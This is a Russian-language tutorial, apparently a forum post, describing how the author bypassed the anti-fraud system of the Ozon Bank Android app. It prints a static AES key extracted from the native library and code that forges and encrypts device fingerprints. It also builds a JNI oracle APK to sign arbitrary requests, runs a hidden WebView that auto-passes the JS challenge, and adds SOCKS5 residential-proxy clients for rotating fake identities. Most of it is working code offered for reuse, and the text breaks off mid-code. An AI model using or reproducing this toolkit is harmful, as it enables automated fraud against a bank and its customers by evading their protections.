l logrix
← все статьи

Как я расковырял антифрод маркетплейса

Три канала идентификации, статический ключ из .so и JNI-оракул

скачать BBCode
проверено на реальном устройстве и на эмуляторе, осень 2026
время чтения ~25 минут
Всех приветствую.
Пишу впервые, поэтому извиняюсь за сумбур заранее. Разберем, как я расковырял антифрод одного маркетплейса: слои защиты, ключ шифрования из нативной библиотеки и один способ, который выглядит глупо, но работает. Хотел запостить это на другом форуме, но друг посоветовал начать здесь. Надеюсь, не прогадал. Честно скажу сразу, материала получилось много. Если вы из тех, кто читает только дайте мне кода и все - листайте вниз к спойлерам с кодом, но я все-таки советую читать по порядку, иначе будет каша в голове 😆
Спойлер
Ничего сверхъестественного, все как у людей:
  • apktool - распаковать и собрать APK, полазить по smali;
  • jadx - читать Java-логику глазами;
  • capstone - дизассемблировать arm64;
  • pycryptodome - AES для расшифровки пейлоадов;
  • adb - реальный телефон (arm64) + эмулятор для быстрых прогонов.
Терпение. Много терпения.
Спойлер
Спойлер
Первым делом я полез в декомпил и почти сразу понял неприятное: каналов идентификации не один, а три. Нашел один - обрадовался. Нашел второй - напрягся. Нашел третий - понял, что теперь их надо еще и согласовывать между собой. 📉 План такой:
  • разбираем все три канала;
  • достаем статический ключ из .so;
  • понимаем алгоритм подписи запросов;
  • пишем JNI-оракул, который вызывает нативную функцию без самого приложения;
  • собираем пейлоад антибота и заставляем сервер его проглотить;
  • автоматически проходим JS-челлендж;
  • собираем клиент и находим нормальные прокси.
Погнали 🦊
Спойлер
Чтобы не быть голословным, вот конкретные артефакты, по которым все воспроизводится 1:1. Версия приложения на момент разбора: 19.33.1 (versionCode 16030341), версия Ozon ID SDK: 14.15.0. Оригинальный APK из стора:
code

package      : ru.ozon.fintech.finance
label        : Ozon Банк
versionName  : 19.33.1
versionCode  : 16030341
size         : 139214377 bytes
sha256       : 2e0ac90df07146d17d3d9432f608b5ce39663a04d242409214c5a791ec0b303c
Спойлер
Нативная библиотека libozon-id-sdk.so (sha256 по ABI):
code

arm64-v8a    : c0fa6b288669572c5dff5fe86766b6005c32a0bd6c9fc1122a7e404700929646  (899192 bytes)
armeabi-v7a  : 32b4b78db57208f29d2e15548aed10e6f7a0db78eaae06105ef15a5a2c79af61  (566748 bytes)
x86_64       : 4332436c4b610e971a16da27b82021b3fb25568d9d3c090ca4dd0df314501b7b  (869464 bytes)
Спойлер
Экспортируемые символы библиотеки (адреса виртуальные):
code

0xe2da8  D  bytes                                  ; статический блоб, 84 байта
0x62d08  T  Java_ru_ozon_id_ad_AdManager_getValue1
0x63880  T  Java_ru_ozon_id_ad_AdManager_getValue2
0x63894  T  Java_ru_ozon_id_amf_Amf_getValueNative
Спойлер
Блоб 84 байта (key = blob[0:32], algo = blob[64:67], cipher = blob[67:84]):
code

5d3a9d9237450777b3028be69a06bd1376ccc0d2f73748bedfc28909a551d789
290752c732d0da1d0a78cb327d53c8b66e61a67e6f6ae39c9bdf0d3c78832622
4145534145532f4346422f4e6f50616464696e67   = "AESAES/CFB/NoPadding"
Спойлер
Строки, найденные прямо в бинарях (файловые оффсеты):
code

libozon-id-sdk.so     @ file offset 0x28876
x-ad-id               @ file offset 0x42d0e
AESAES/CFB/NoPadding  @ file offset 0xdade6
Спойлер
А в dex, кроме этого, лежат строки: d9f8368943e8fe03, 14.15.0, OzonID SDK 14.15.0, ozonbankfinance_android.
Спойлер
Команды, которыми я это делал:
code

# 1. достать библиотеку из APK
unzip ozon_bank.apk lib/arm64-v8a/libozon-id-sdk.so -d out

# 2. сверить хеш
sha256sum out/lib/arm64-v8a/libozon-id-sdk.so
# c0fa6b288669572c5dff5fe86766b6005c32a0bd6c9fc1122a7e404700929646

# 3. посмотреть экспорты
nm -D --defined-only out/lib/arm64-v8a/libozon-id-sdk.so | grep Java_
# 0x62d08 ... getValue1
# 0x63880 ... getValue2
# 0x63894 ... Amf_getValueNative

# 4. вытащить блоб 84 байта (скрипт из раздела с кодом)
python3 extract_blob.py
# 5d3a9d92... / AESAES/CFB/NoPadding
Если хеши и адреса совпали - вы на той же версии, и весь дальнейший алгоритм повторится 1:1.
Спойлер
Честно про ограничения, чтобы не было иллюзий:
  • вся статья привязана к версии 19.33.1 и SDK 14.15.0. На других версиях смещения, а возможно и сам ключ, отличаются - блоб достается тем же скриптом заново;
  • JS-челлендж у меня был v48 (видно по подключенному css style_v48_3.css). Он обновляется независимо от приложения;
  • ответы сервера (incidentId, challengeURL, abt_data) одноразовые и завязаны на IP и cookies. Повторить чужой запрос байт-в-байт не выйдет;
  • в entry-точке iso я гонял и как IN, и как RU - сервер в обоих случаях отдавал соответствующую страницу входа (в тестах на скринах виден индийский вариант, для РФ-аккаунта ставится RU).
Спойлер
Залезаю в декомпил, ищу все что связано с идентификацией устройства. Картина сложилась быстро. Итак, отправляется следующее: Канал №1 - большой JSON FingerprintDTO, полей около 54. Его шифруют и шлют отдельным запросом. Канал №2 - еще один отпечаток, DeviceStatus, уезжает base64-строкой в HTTP-заголовке. Канал №3 - подпись запросов: набор заголовков x-o3-*, где самое сочное - нативная подпись. Все три канала про одно и то же устройство. Поэтому главная ловушка для новичка - подменить каждый по отдельности и удивиться, почему прилетает бан. Нужна согласованность. Сейчас дойдем и до этого.
Спойлер
Класс ru.ozon.id.antibot.FingerprintDTO, 54 поля. Часть константы (типа версии их SDK), остальное тянется из системы. Собирается все в ru.cbdc.C4261bz0.a(type, str). Источники по самым интересным полям:
  • model / manufacturer / brand / hardware / board / device / product - обычные Build.*;
  • sdk / release / securityPatch / buildId / fingerprint / tags / time / user - тоже Build.*;
  • экран, плотность, xdpi/ydpi - DisplayMetrics;
  • пакет, версия, время установки - PackageInfo;
  • локаль, таймзона - Configuration и TimeZone;
  • isRoot - ru.cbdc.Yd0.a;
  • androidDeviceId - Settings.Secure "android_id";
  • isEmulator - свойство ro.boot.qemu;
  • ozonIdSdkVersion - константа 14.15.0.
Спойлер
Поле androidFingerprintType. Название намекает на Build.TAGS, правда? Ага, конечно. На деле туда кладут строку типа задачи антибота: antibot / asyncOnAuthAppLaunch / asyncOnLogin. Я разумеется сунул туда Build.TAGS и полвечера не понимал, почему сервер морщится. Вот из-за таких мелочей и уходит время 🤦
Дальше объект уходит в JSON и шифруется. Вот тут начинается самое вкусное.
Спойлер
Спойлер
Шифрование живет в libozon-id-sdk.so, класс ru.ozon.id.amf.Amf. Метод Amf.getValueNative() возвращает 84 байта. Открываю в дизассемблере - и что вы думаете? Он просто копирует статический блоб из секции данных. Никаких хитрых вычислений, просто держите массив:
code

malloc(0x54)                                   ; 84 байта
SetByteArrayRegion(ptr@0xdddb0, 0, 0x54)       ; копируем блоб
return byte[84]
Блоб лежит по адресу 0xe2da8 и это не просто ключ, а упакованная структура: внутри и ключ, и название алгоритма, и режим. Достаю через program headers:
Спойлер
code

import struct

P = 'libozon-id-sdk.so'
f = open(P, 'rb').read()

e_phoff = struct.unpack_from('<Q', f, 0x20)[0]
e_phentsize = struct.unpack_from('<H', f, 0x36)[0]
e_phnum = struct.unpack_from('<H', f, 0x38)[0]

segs = []
for i in range(e_phnum):
    b = e_phoff + i * e_phentsize
    if struct.unpack_from('<I', f, b)[0] == 1:          # PT_LOAD
        segs.append((struct.unpack_from('<Q', f, b + 0x10)[0],
                     struct.unpack_from('<Q', f, b + 0x08)[0],
                     struct.unpack_from('<Q', f, b + 0x20)[0]))

def off(v):
    for va, o, fs in segs:
        if va <= v < va + fs:
            return o + (v - va)

blob = f[off(0xe2da8):off(0xe2da8) + 84]
print('key    :', blob[0:32].hex())
print('algo   :', blob[64:67])
print('cipher :', blob[67:84])
Спойлер
Спойлер
Все ищется одной строкой:
code

$ nm -D --defined-only libozon-id-sdk.so | grep Java_
Java_ru_ozon_id_ad_AdManager_getValue1
Java_ru_ozon_id_ad_AdManager_getValue2
Java_ru_ozon_id_amf_Amf_getValueNative
И тут я зацепился за отсутствие JNI_OnLoad. А это значит, что нативные методы привязываются по имени, а не через dyn-регистрацию. Для нас - подарок судьбы, и дальше мы им воспользуемся.
Ключ оказался статическим. А это значит, что он одинаков для всех устройств. То есть можно зашифровать свой пейлоад родным ключом, и сервер его примет за настоящий. Вот в этот момент я понял, что дело пахнет успехом 📈
Спойлер
Смотрим C4261bz0.a() и видим всю картину целиком:
code

json_string = moshi.toJson(fingerprint_dto)
key         = blob[0:32]                 # либо blob[32:64], если включен stage-флаг
if mf_token is not None:
    key = key[0:24] + mf_token[-8:]      # при наличии токена инцидента ключ доклеивается

plain   = str(int(time.time() * 1000)) + "," + json_string
cipher  = Cipher("AES/CFB/NoPadding", key)
ct      = cipher.doFinal(plain)
payload = base64( cipher.getIV() + ct )  # IV идет первым
Плейнтекст - это миллисекунды, запятая, JSON. Шифруется AES в CFB, потом склейка с IV и base64. Разумеется я не поверил себе на слово и прогнал round-trip:
Спойлер
code

import base64
from Crypto.Cipher import AES

KEY = bytes.fromhex('5d3a9d9237450777b3028be69a06bd1376ccc0d2f73748bedfc28909a551d789')

def decode(payload: str) -> str:
    raw = base64.b64decode(payload)
    iv, ct = raw[:16], raw[16:]
    cipher = AES.new(KEY, AES.MODE_CFB, iv=iv, segment_size=128)
    return cipher.decrypt(ct).decode()

print(decode('<payload из логов>'))
В плейнтексте - ровно тот JSON, что мы и шифровали. И вот, собственно, подтверждение от сервера: наш отпечаток принят.
Спойлер
В тот момент я выдохнул. Ключ есть, схема воспроизведена, сервер кушает наш пейлоад. Но рано радовался - помимо отпечатка есть еще подпись. 👌
Спойлер
Подписывается каждый запрос. За это отвечает OkHttp-интерцептор ru.ozon.id.ad.AdManager. Логика: берется URL, имя приложения, версия, значение заголовка x-o3-fp, метод и некий adId. Все летит в нативный getValue1(...). Результат в base64 кладется в заголовок, имя которого дает второй метод - getValue2(). Забавный момент: getValue2() всегда возвращает одно и то же - x-ad-id. А x-o3-fp это вообще константа из конфига: 1.d9f8368943e8fe03. Все страшное лежит на поверхности 🦆 Лезем в дизасм getValue1:
code

Java_ru_ozon_id_ad_AdManager_getValue1:
    ...
    bl  0xd1550        ; вытащить строку из jstring (x0=env, x1=jstring)
    ...
    bl  0xd15f0        ; получить счетчик / время
    bl  0xd1600        ; дописать аргумент в буфер
    bl  0xd1610        ; дописать разделитель ("1".."6")
    ...
    ; tolower (A-Z -> a-z)
    ; reverse (разворот строки)
    ; xor-слой ('.' -> '!')
    ...
    blr x8             ; env->NewByteArray(len)
    blr x8             ; env->SetByteArrayRegion(...)
    ret
Спойлер
Если докопать функцию до конца, видно что она клеит строку по строгой схеме: шесть аргументов, между ними - разделители-цифры по порядку.
url + "1" + appName + "2" + appVersion + "3" + x-o3-fp + "4" + method + "5" + <секунды> + "6" + adId
Потом вся строка проходит через:
  • приведение к нижнему регистру;
  • реверс;
  • XOR-слой (' . ' заменяется на ' ! ');
  • и отдается как byte[], который кодируется в base64.
Отсюда и недетерминированность - внутрь замешано время и случайный префикс.
code

import base64
sig = base64.b64decode(x_ad_id)
print(len(sig), sig[:9], sig[9:11])   # [9 случ.] [1.] [hex millis]...
Спойлер
Тут был выбор. Либо сидеть и воспроизводить алгоритм руками (tolower, reverse, XOR), либо пойти хитрее. Думаю вы уже поняли, что я выбрал 🧠
Спойлер
Раз функции экспортируются по имени, их можно дернуть из своего кода, вообще не восстанавливая алгоритм. Это и есть оракул: мы не знаем что внутри, но нам и не надо. Главное - воссоздать класс с тем же FQN и теми же сигнатурами:
code

package ru.ozon.id.ad;

public final class AdManager {
    static { System.loadLibrary("ozon-id-sdk"); }

    public AdManager() {}

    // ВАЖНО: методы instance (не static),
    // иначе 6 строк не попадут в x2..x7 на arm64
    public final native byte[] getValue1(String s1, String s2, String s3, String s4, String s5, String s6);
    public final native String getValue2();
}
Собираем простенький APK (солвер на Java, а сам разбор я вел на Python), кидаем рядом libozon-id-sdk.so под все ABI - и пробуем:
code

AdManager m = new AdManager();
Log.i("RATSIGN", "getValue2 = " + m.getValue2());

byte[] sig = m.getValue1(
        "https://api.ozon.ru/composer-api.bx/_action/initAuth",
        "ozonbankfinance_android",
        "19.33.1(16030341)",
        "1.d9f8368943e8fe03",
        "POST",
        "3fd5c2606717c5b03fe22ad7bb3f11253fe7");

Log.i("RATSIGN", "sign = " + Base64.encodeToString(sig, Base64.NO_WRAP));
Спойлер
Структура подписи такая:
[9 случайных]1.[hex millis].
Недетерминирована, ровно как в оригинале. Работает и на x86_64, и на arm64. Когда я увидел осмысленный вывод из своего APK, где нет ни строчки кода приложения, я минут пять просто сидел и улыбался 🎉 Итог: подписываем произвольные запросы родной нативной функцией, не зная ее алгоритма.
Спойлер
Второй канал - ru.ozon.fintech.antifraud.internal.models.DeviceStatus. JSON, base64, заголовок x-device-status. Полей тьма: vendor, device, таймзона, carrier, emulator, ids, foundApps, isRoot, battery, screenOn, permissions, sessionId, cpu/ram, акселерометр, гироскоп, магнитометр, давление, debugInfo... В общем, досье. Для нас критично вот что: часть полей пересекается с первым отпечатком (модель, root, emulator), и они обязаны совпадать. Иначе сервер видит рассинхрон: в одном канале Pixel 7, в другом - реальная модель телефона. Именно на этом палятся почти все. Кстати, cert_hash у меня оказался пустым - то есть подменять нечего. Но проверять его стоит, у другой версии он может быть.
Спойлер
code

{"vendor":"Google","device":"Pixel 7",
 "raw_ids":{"a_build_fingerprint":"google/panther/panther:14/UP1A.231005.007/10754064:user/release-keys"},
 "found_apps":[],"is_root":false,"emulator":false,
 "debug":{"usb_debug_enabled":false,"wifi_debug_enabled":false,"is_debugging":false},
 "cert_hash":null,"carrier":"YOTA"}
Вывод: один набор данных об устройстве - и везде только он. Иначе рассинхрон и бан.
Спойлер
Кроме подписи шлется куча заголовков, часть которых должна совпадать с отпечатком:
code

x-o3-app-name        : ozonbankfinance_android
x-o3-app-version     : 19.33.1(16030341)
x-o3-device-type     : mobile
x-o3-device-language : ru
x-o3-fp              : 1.d9f8368943e8fe03
x-app-version        : app/android/19.33.1/<pkg>/19.33.1
x-app-uuid           : <installId>
x-ob-sessionid       : <sessionId>
x-ob-model-device    : Google Pixel 7
x-ob-osver           : 14
x-app-store          : google
x-ob-theme           : light
x-ob-new-arch        : true
x-ob-interface-scale : 1.0:2.75
x-ob-insets          : 0,0,0,0
x-ob-cold-start      : false
x-requested-with     : ru.ozon.app
x-ad-id              : <подпись>
Особое внимание на x-ob-model-device - обязан совпадать с моделью в отпечатке. Такие мелочи и рушат всю связку.
Спойлер
Собираем все вместе:
  • дергаем эндпоинт авторизации;
  • сервер отвечает 403 и заголовком ozon-antibot: 1, ставит cookie abt_data;
  • собираем FingerprintDTO и шифруем родным ключом;
  • шлем на /abt/result-mobile;
  • сервер отвечает {"isValid": true}.
Спойлер
Сам запрос:
code

dto = build_fingerprint_dto(type='asyncOnLogin', device_id=android_id)
mf  = build_mf(dto)

requests.post(
    'https://api.ozon.ru/abt/result-mobile?isAsyncOnLogin=true',
    json={'mf': mf, 'mfToken': None, 'n': None},
    cookies={'abt_data': abt_data},
    headers=sign_headers(url, 'POST')
)
Спойлер
Итог: сервер валидирует отпечаток и отдает isValid: true. Я потирал руки, но, как оказалось, это было еще не все. Дальше меня ждал сюрприз.
Спойлер
Помимо заголовка ozon-antibot: 1, сервер в теле ответа присылает JSON с полем challengeURL. Прямым текстом: реши челлендж.
code

{"incidentId": "fab_chlg_...",
 "challengeURL": "https://api.ozon.ru/challenge.html?challenge=...",
 "supportURL": "...",
 "timeoutSec": 180,
 "blockURL": "...&bm=block_2&..."}
Перехожу по ссылке - HTML-страница, которая подгружает JS-бандл abt-challenge (у меня v48) и что-то считает.
Спойлер
Путь первый - реверсить JS целиком. Трудоемко, и бесперспективно вдолгую: версия сменится, логика поменяется, работа в тыкву. Путь второй - не решать челлендж, а исполнить его как браузер. Мы на Android, а тут браузерный движок из коробки. Взял второй. Он устойчивее: даже если сервер сменит версию, солвер продолжит работать, потому что исполняет их же код.
Логика солвера - проще некуда:
  • закинуть cookies в CookieManager;
  • открыть challengeURL в скрытом WebView;
  • дождаться, пока JS отработает и cookies изменятся;
  • забрать cookies и повторить запрос.
code

public static String solve(Activity act, String url, Map<String,String> seed, long timeoutMs) {
    final CountDownLatch latch = new CountDownLatch(1);
    final CookieManager cm = CookieManager.getInstance();
    cm.setAcceptCookie(true);

    act.runOnUiThread(new Start(act, url, seed, cm, latch));      // создаем WebView на UI-потоке
    latch.await(timeoutMs, TimeUnit.MILLISECONDS);

    return cm.getCookie("https://api.ozon.ru");                   // возвращаем cookies
}
Внутри - WebView с JS, seed-cookies и поллинг до изменения cookie:
code

WebView wv = new WebView(act);
WebSettings s = wv.getSettings();
s.setJavaScriptEnabled(true);
s.setDomStorageEnabled(true);
s.setUserAgentString(UA);

for (Map.Entry<String,String> e : seed.entrySet())
    cm.setCookie("https://api.ozon.ru", e.getKey() + "=" + e.getValue());
cm.flush();

wv.loadUrl(challengeUrl);
new Handler(Looper.getMainLooper()).postDelayed(new Poll(cm, latch), 1500);
После прохождения страница уходит на /abt/challenge/ok, cookie abt_data обновляется.
Спойлер
Секунд пять, без участия человека. И подчеркну: это не разгадка капчи, а автоматическое исполнение их же страницы. Этот момент радует меня больше всего
Спойлер
А вот тут я споткнулся по крупному. Долго гонял все с обычного IP - и после серии запросов сервер прогрелся и начал отдавать жесткий бан с признаком bm=block_2. Вроде все правильно, подпись сходится, отпечаток валиден - а летит бан.
Спойлер
И тут меня осенило: дело в IP. Переехал на чистые резидентные прокси - и бан снялся. Вместо block_2 сервер начал отдавать fab_chlg_, то есть челлендж, который мы уже умеем решать.
Спойлер
Отдельная боль - SOCKS5. Стоковый Android-стек не умеет SOCKS5 с аутентификацией, поэтому пришлось писать свой HTTP/1.1 поверх SSLSocket:
code

# SOCKS5: приветствие -> аутентификация -> CONNECT
s.sendall(b"\x05\x01\x02")                  # требуем user/pass
assert s.recv(2) == b"\x05\x02"
s.sendall(auth(user, password))
assert s.recv(2) == b"\x01\x00"
s.sendall(connect_domain("api.ozon.ru", 443))
# далее - обычный TLS поверх полученного сокета
Спойлер
И важный момент про TLS, который часто упускают: прокси туннелирует TCP, а TLS строится локально, end-to-end. Поэтому JA3 через прокси не меняется, он идентичен прямому соединению. Для антифродов, которые сверяют TLS-отпечаток, это критично.
Спойлер
Финальный флоу:
  • загружаем личность для прокси;
  • initAuth (clientId = ozonbankfinance_android);
  • сервер отдает 403 + abt_data;
  • шифруем FingerprintDTO и шлем на /abt/result-mobile -> isValid: true;
  • открываем challengeURL в WebView -> /abt/challenge/ok;
  • повторяем entry с обновленными cookies -> 200 OK и валидный DTO.
Спойлер
Результат - сервер отдает страницу входа:
code

{"data":{"title":"Введите номер телефона",
 "subtitle":"Мы отправим код или позвоним...",
 "inputs":[{"type":"phone","name":"phone","countrySelect":{...}}]}}
Спойлер
Воспроизводится стабильно на разных резидентных IP с разными личностями. Все четыре звена - подпись, отпечаток, челлендж и сам запрос - работают связкой. Когда я первый раз увидел 200 OK с нормальным DTO, честно, не поверил и перезапустил еще раз пять
Спойлер
Для любителей хронологии:
  • другой банк - осечка, нативная защита убивает процесс
  • переезд на маркетплейс, знакомство с Ozon ID;
  • найдены три канала отпечатка;
  • из .so вытащен статический ключ (84 байта);
  • AES-CFB воспроизведен, round-trip сошелся;
  • разобран алгоритм подписи, написан JNI-оракул
  • MF-пейлоад собран, сервер отвечает isValid: true;
  • стопор: прогретый IP дает block_2 - переезд на резидентные прокси;
  • сервер меняет бан на JS-челлендж - написан WebView-солвер;
  • челлендж пройден, entry вернул 200 и EntryDTO
Спойлер
Что отняло больше всего времени:
  • Привязка нативных методов. static для getValue1 нельзя - на arm64 аргументы не попадут в нужные регистры;
  • Опечатка в ключе. Один пропущенный hex-символ = 83 байта вместо 84 и все ломается. Ключ - только из .so программно;
  • Рассинхрон каналов. Разные устройства в FingerprintDTO и x-device-status = палево;
  • Порядок запросов. Отпечаток логичнее слать проактивно, а не только после 403;
  • IP. Прогретый IP = block_2, чистый резидентный = челлендж;
  • WebView и прокси. Челлендж идет с IP устройства, API - через прокси. Пока связано через cookie, но на будущее стоит гнать все через прокси.
Спойлер
Что мы сделали по итогу:
  • разобрали три канала идентификации;
  • вытащили статический ключ из нативной библиотеки;
  • воспроизвели AES-CFB и подтвердили сервером (isValid: true);
  • разобрали алгоритм подписи и написали JNI-оракул;
  • собрали пейлоад антибота и прошли JS-челлендж через WebView;
  • построили клиент с резидентными прокси и правилом один IP - одна личность.
Главный вывод: антифрод - это система из слоев, и обходить ее по частям не работает. Работает только связка. P.S. Только после написания статьи сервер иногда стал отдавать челлендж и на входе
Спойлер
Ниже я собрал весь рабочий код, который использовал сам. Ничего не выкидывал, все как есть, включая грабли и костыли. Код разбит по файлам, чтобы было проще ориентироваться. Если будете повторять - начинайте с кейса ключа, потом оракул подписи, потом солвер.
Спойлер
Первый шаг - достать статический блоб 84 байта из нативной библиотеки.
code

import struct

P = 'libozon-id-sdk.so'
f = open(P, 'rb').read()

# разбираем program headers, чтобы получить файловые смещения
e_phoff = struct.unpack_from('<Q', f, 0x20)[0]
e_phentsize = struct.unpack_from('<H', f, 0x36)[0]
e_phnum = struct.unpack_from('<H', f, 0x38)[0]

segs = []
for i in range(e_phnum):
    b = e_phoff + i * e_phentsize
    if struct.unpack_from('<I', f, b)[0] == 1:          # PT_LOAD
        segs.append((struct.unpack_from('<Q', f, b + 0x10)[0],
                     struct.unpack_from('<Q', f, b + 0x08)[0],
                     struct.unpack_from('<Q', f, b + 0x20)[0]))

def off(v):
    for va, o, fs in segs:
        if va <= v < va + fs:
            return o + (v - va)

blob = f[off(0xe2da8):off(0xe2da8) + 84]

key    = blob[0:32]      # prod-ключ (если stage-флаг - blob[32:64])
algo   = blob[64:67]     # b'AES'
cipher = blob[67:84]     # b'AES/CFB/NoPadding'

print('key    :', key.hex())
print('algo   :', algo)
print('cipher :', cipher)
Спойлер
Декодер нужен для проверки round-trip, а билдер - чтобы собирать отпечаток и шифровать его родным ключом.
code

import base64, json, os, time
from Crypto.Cipher import AES

KEY = bytes.fromhex('5d3a9d9237450777b3028be69a06bd1376ccc0d2f73748bedfc28909a551d789')
CIPHER = 'AES/CFB/NoPadding'

def decode_fingerprint(payload: str) -> str:
    raw = base64.b64decode(payload)
    iv, ct = raw[:16], raw[16:]
    c = AES.new(KEY, AES.MODE_CFB, iv=iv, segment_size=128)
    return c.decrypt(ct).decode()

def build_mf(dto: dict, mf_token: str = None) -> str:
    key = KEY
    if mf_token is not None:
        key = KEY[0:24] + mf_token[-8:].encode()

    plain = f"{int(time.time() * 1000)}," + json.dumps(dto, separators=(',', ':'), ensure_ascii=False)
    iv = os.urandom(16)
    c = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
    ct = c.encrypt(plain.encode())
    return base64.b64encode(iv + ct).decode()

def fingerprint_dto(dtype: str, device_id: str) -> dict:
    return {
        "androidFingerprintType": dtype,
        "androidModel": "Pixel 7",
        "androidManufacturer": "Google",
        "androidBrand": "google",
        "androidHardware": "panther",
        "androidBoard": "panther",
        "androidDevice": "panther",
        "androidProduct": "panther",
        "androidSdk": 34,
        "androidRelease": "14",
        "androidSecurityPatch": "2024-01-05",
        "androidBuildId": "UP1A.231005.007",
        "androidRadioVersion": "g5300g-000000-240101-B-11012446",
        "androidFingerprint": "google/panther/panther:14/UP1A.231005.007/10754064:user/release-keys",
        "androidTags": "release-keys",
        "androidType": "user",
        "androidTime": 1698796800000,
        "androidUser": "android-build",
        "androidBootloader": "slider-1.0-10062794",
        "androidSku": "unknown",
        "androidOdmSku": "unknown",
        "androidDisplay": "UP1A.231005.007",
        "androidHost": "abfarm-release-rbe-64-0004",
        "androidSupportedAbis": ["arm64-v8a", "armeabi-v7a", "armeabi"],
        "androidSocManufacturer": "Google",
        "androidSocModel": "Tensor G2",
        "androidScreenWidth": 1080,
        "androidScreenHeight": 2400,
        "androidDensity": 2.75,
        "androidDensityWidth": 420.0,
        "androidDensityHeight": 420.0,
        "androidPackageName": "ru.ozon.fintech.finance",
        "androidVersionName": "19.33.1",
        "androidFirstInstallTime": 1780000000000,
        "androidLastUpdateTime": 1780000000000,
        "androidVersionCode": 16030341,
        "androidLocales": ["ru-RU"],
        "androidTimezoneId": "Asia/Krasnoyarsk",
        "androidTimezoneRawOffset": 25200000,
        "androidTimezoneDisplayName": "Krasnoyarsk Standard Time",
        "androidIsDeviceSecure": True,
        "androidIsDebug": False,
        "androidConnectionType": "WIFI",
        "androidIsVpnConnected": False,
        "androidIsRoot": False,
        "androidIdentifierForVendor": None,
        "androidDeviceId": device_id,
        "androidDevelopmentSettingsEnabled": 0,
        "androidAdbEnabled": 0,
        "androidStayOnWhilePluggedIn": 0,
        "androidDebugApp": None,
        "androidWaitForDebugger": 0,
        "androidIsEmulator": None,
        "androidOzonIdSdkVersion": "14.15.0",
    }

if __name__ == '__main__':
    dto = fingerprint_dto('asyncOnLogin', '3f96f7afad658ec0')
    mf = build_mf(dto)
    print('mf =', mf)
    print('decoded =', decode_fingerprint(mf))
Спойлер
Класс оракула. Сигнатуры instance и повторяют оригинал 1:1.
code

package ru.ozon.id.ad;

public final class AdManager {

    static {
        System.loadLibrary("ozon-id-sdk");
    }

    public AdManager() {}

    // instance-методы: 6 строк должны попасть в x2..x7 на arm64
    public final native byte[] getValue1(String s1, String s2, String s3, String s4, String s5, String s6);
    public final native String getValue2();
}
Обертка, которой я подписывал запросы:
code

public final class Sign {
    private static final AdManager AD = new AdManager();

    public static String xadid(String url, String method, String app,
                               String ver, String xo3fp, String adId) {
        byte[] sig = AD.getValue1(url, app, ver, xo3fp, method, adId);
        return android.util.Base64.encodeToString(sig, android.util.Base64.NO_WRAP);
    }
}
Сборка APK с оракулом (aapt2 -> javac -> d8 -> apksigner):
code

SDK=/opt/android-sdk
BT=$SDK/build-tools/34.0.0
AJ=$SDK/platforms/android-34/android.jar

rm -rf build && mkdir -p build/classes build/dexout
$BT/aapt2 link -o build/base.apk --manifest AndroidManifest.xml -I $AJ --auto-add-overlay
javac -source 8 -target 8 -bootclasspath $AJ -d build/classes $(find src -name '*.java')
$BT/d8 --lib $AJ --min-api 24 --output build/dexout $(find build/classes -name '*.class')

cp build/base.apk build/unsigned.apk
( cd build/dexout && zip -q ../unsigned.apk classes.dex )
zip -qr build/unsigned.apk lib      # lib/arm64-v8a/libozon-id-sdk.so + x86_64

$BT/zipalign -f -p 4 build/unsigned.apk build/aligned.apk
keytool -genkeypair -keystore build/ks.jks -storepass android -keypass android \
    -alias k -keyalg RSA -keysize 2048 -validity 10000 -dname "CN=d,O=d,C=US" >/dev/null 2>&1
$BT/apksigner sign --ks build/ks.jks --ks-pass pass:android --key-pass pass:android \
    --out build/oracle.apk build/aligned.apk
adb install -r build/oracle.apk
Спойлер
Стандартный Android-стек не умеет SOCKS5 с авторизацией, поэтому пишем свой туннель.
code

public final class Socks5 {

    public static Socket connect(String ph, int pp, String user, String pass,
                                 String host, int port) throws IOException {
        Socket s = new Socket();
        s.connect(new InetSocketAddress(ph, pp), 12000);
        s.setSoTimeout(20000);
        s.setTcpNoDelay(true);

        InputStream in = s.getInputStream();
        OutputStream out = s.getOutputStream();

        out.write(new byte[]{5, 1, 2});              // VER, NMETHODS, USER/PASS
        out.flush();
        byte[] r = readN(in, 2);
        if (r[1] == 2) {
            byte[] u = user.getBytes("UTF-8");
            byte[] p = pass.getBytes("UTF-8");
            ByteArrayOutputStream b = new ByteArrayOutputStream();
            b.write(1); b.write(u.length); b.write(u);
            b.write(p.length); b.write(p);
            out.write(b.toByteArray()); out.flush();
            r = readN(in, 2);
            if (r[1] != 0) throw new IOException("socks5 auth code=" + r[1]);
        } else if (r[1] != 0) {
            throw new IOException("socks5 method code=" + r[1]);
        }

        byte[] hb = host.getBytes("UTF-8");
        ByteArrayOutputStream b = new ByteArrayOutputStream();
        b.write(5); b.write(1); b.write(0); b.write(3);   // VER CMD RSV ATYP=DOMAIN
        b.write(hb.length); b.write(hb);
        b.write((port >> 8) & 0xff); b.write(port & 0xff);
        out.write(b.toByteArray()); out.flush();

        byte[] rep = readN(in, 4);
        if (rep[1] != 0) throw new IOException("socks5 connect code=" + rep[1]);
        int atyp = rep[3];
        if (atyp == 1) readN(in, 4);
        else if (atyp == 3) readN(in, readN(in, 1)[0]);
        else if (atyp == 4) readN(in, 16);
        readN(in, 2);
        return s;
    }

    private static byte[] readN(InputStream in, int n) throws IOException {
        byte[] b = new byte
Спойлер
Минимальный клиент с cookie-jar, разбором chunked/Content-Length и редиректами.
code

public final class Http {

    public final String ph; public final int pp;
    public final String user; public final String pass;
    public final Jar jar = new Jar();

    public Http(String ph, int pp, String user, String pass) {
        this.ph = ph; this.pp = pp; this.user = user; this.pass = pass;
    }

    public Resp req(String method, String url, String body, Map<String, String> headers) throws IOException {
        String rest = url.substring(url.indexOf("://") + 3);
        String hostPort = rest, path = "/";
        int slash = rest.indexOf('/');
        if (slash >= 0) { hostPort = rest.substring(0, slash); path = rest.substring(slash); }
        int port = 443; String host = hostPort;
        int colon = hostPort.indexOf(':');
        if (colon >= 0) { host = hostPort.substring(0, colon); port = Integer.parseInt(hostPort.substring(colon + 1)); }

        Socket tunnel = Socks5.connect(ph, pp, user, pass, host, port);
        SSLSocket ssl = (SSLSocket) SSLSocketFactory.getDefault()
                .createSocket(tunnel, host, port, true);
        SSLParameters p = ssl.getSSLParameters();
        p.setServerNames(Collections.singletonList(new SNIHostName(host)));
        ssl.setSSLParameters(p);
        ssl.startHandshake();

        StringBuilder h = new StringBuilder();
        h.append(method).append(' ').append(path).append(" HTTP/1.1\r\n");
        h.append("Host: ").append(host).append("\r\n");
        for (Map.Entry<String, String> e : headers.entrySet())
            h.append(e.getKey()).append(": ").append(e.getValue()).append("\r\n");
